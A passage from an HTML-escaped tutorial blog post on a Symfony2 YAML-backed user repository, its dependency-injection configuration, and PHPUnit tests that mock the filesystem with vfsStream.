            &lt;span class=&quot;s1&quot;&gt;&apos;first_name&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getFirstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;last_name&apos;&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getLastName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritDoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Yaml&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This new repository relies on two &lt;strong&gt;Symfony2 components&lt;/strong&gt;:
&lt;a href=&quot;http://symfony.com/doc/current/components/filesystem.html&quot;&gt;Filesystem&lt;/a&gt; and
&lt;a href=&quot;http://symfony.com/doc/current/components/yaml/introduction.html&quot;&gt;Yaml&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As you might notice, the identity between two &lt;strong&gt;users&lt;/strong&gt; is checked by the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isEqualTo()&lt;/code&gt; method, part of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserId&lt;/code&gt; value object. The body of this method
is pretty straightforward:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UserId&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Register the new repository into the &lt;strong&gt;D&lt;/strong&gt;ependency &lt;strong&gt;I&lt;/strong&gt;njection &lt;strong&gt;C&lt;/strong&gt;ontainer
(DIC).
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt; class takes a filename as first argument, that is why
the service definition contains a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;argument&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;

&lt;p&gt;The file will be created into the cache directory (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%kernel.cache_dir%&lt;/code&gt;) meaning
that if you clear the cache, your data will be lost.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;container&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://symfony.com/schema/dic/services&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;parameters&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;parameter&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;key=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.yaml.class&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Acme\CoreDomainBundle\Repository\YamlUserRepository&lt;span class=&quot;nt&quot;&gt;&amp;lt;/parameter&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/parameters&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;services&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Concrete Implementations --&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;service&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.yaml&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%user_repository.yaml.class%&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;public=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;false&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;argument&amp;gt;&lt;/span&gt;%kernel.cache_dir%/users.yml&lt;span class=&quot;nt&quot;&gt;&amp;lt;/argument&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/services&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/container&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt; rather than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InMemoryUserRepository&lt;/code&gt; is just
a matter of configuration. Change the &lt;strong&gt;alias&lt;/strong&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_repository&lt;/code&gt;
service and you are done:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;service&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alias=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.yaml&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks good? &lt;strong&gt;No!&lt;/strong&gt; I told you that the implementation worked fine, did you
trust me? You should not, and you should write tests instead.&lt;/p&gt;

&lt;h2 id=&quot;unit-testing&quot;&gt;Unit Testing&lt;/h2&gt;

&lt;p&gt;Testing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt; implementation looks pretty easy, except that
it relies on the filesystem to load and store data. Most of the developers I
know would &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;touch&lt;/code&gt; a temporary file at the beginning of each test method and
delete it at the end. That is &lt;strong&gt;not&lt;/strong&gt; the right way to test such a thing.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/mikey179/vfsStream&quot;&gt;vfsStream&lt;/a&gt; to the rescue! It is a stream
wrapper for a virtual filesystem, which can be used to mock the real filesystem.
That is exactly what you need.&lt;/p&gt;

&lt;p&gt;Install it as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dev&lt;/code&gt; package:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ composer require mikey179/vfsStream:&quot;1.3.*@dev&quot; --dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, you need to setup the virtual filesystem using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vfsStream::setup()&lt;/code&gt;
method. Then, you can create a virtual filename that will be injected into your
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt; just like the DIC would do it:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomainBundle\Tests\Repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;org\bovigo\vfs\vfsStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomainBundle\Repository\YamlUserRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomainBundle\Tests\TestCase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YamlUserRepositoryTest&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TestCase&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$cacheDir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setUp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cacheDir&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vfsStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;cache&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YamlUserRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vfsStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;cache/users.yml&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following method creates fixtures that will be useful in your test methods:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YamlUserRepositoryTest&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TestCase&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addUsers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Jean&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Bon&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;John&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Doe&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here are your first tests:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YamlUserRepositoryTest&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;TestCase&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testFind&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;addUsers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;repository&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertNotNull&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertInstanceOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Sportbook\CoreDomain\User\User&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;assertEquals&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Jean&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getFirstName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testFindReturnsNullIfNotFound&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
